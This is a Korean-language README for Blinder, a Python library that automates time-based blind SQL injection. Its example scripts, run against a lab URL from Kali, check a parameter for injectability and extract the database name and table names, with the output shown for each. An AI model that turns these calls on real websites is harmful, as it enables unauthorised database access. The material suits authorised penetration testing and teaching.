
시간 기반 블라인드 SQL 인젝션을 자동화하는 파이썬 라이브러리
Blinder는 사전 정의된 쿼리를 함수로 사용하여 시간 기반 블라인드 SQL 인젝션을 자동화하고 신속한 PoC 개발을 지원하는 소형 Python 라이브러리입니다.
Blinder는 다음 명령어로 설치할 수 있습니다:
pip install blinder
또는 소스 코드를 다운로드하여 프로젝트에 수동으로 임포트할 수도 있습니다.
Blinder를 사용하려면 Blinder 모듈을 임포트한 후 Blinder의 주요 함수들을 사용하기 시작하면 됩니다.
현재 버전의 Blinder로 다음 작업을 수행할 수 있습니다:
다음 코드로 URL에서 인젝션을 확인할 수 있습니다:
#!/usr/bin/python
import Blinder
blind = Blinder.blinder(
"http://sqli-lab/sql_injection/index.php?search=3",
sleep=1
)
print blind.check_injection()
실행 결과는 다음과 같습니다:
root@kali:~/Desktop# python check.py
True
root@kali:~/Desktop#
다음 코드로 데이터베이스 이름을 가져올 수 있습니다:
#!/usr/bin/python
import Blinder
blind = Blinder.blinder(
"http://sqli-lab/sql_injection/index.php?search=3",
sleep=1
)
print "Database name is : %s " % blind.get_database()
결과는 다음과 같습니다:
root@kali:~/Desktop# python get-database.py
Database name is : db1
root@kali:~/Desktop#
테이블 이름을 가져오려면 다음 코드를 사용하세요:
#!/usr/bin/python
import Blinder
blind = Blinder.blinder(
"http://sqli-lab/sql_injection/index.php?search=3",
sleep=1
)
tables = blind.get_tables()
for table in tables:
print table
결과는 다음과 같습니다:
root@kali:~/Desktop# python get-tables.py
blogs
notes
root@kali:~/Desktop#
곧 많은 기능이 추가될 예정입니다: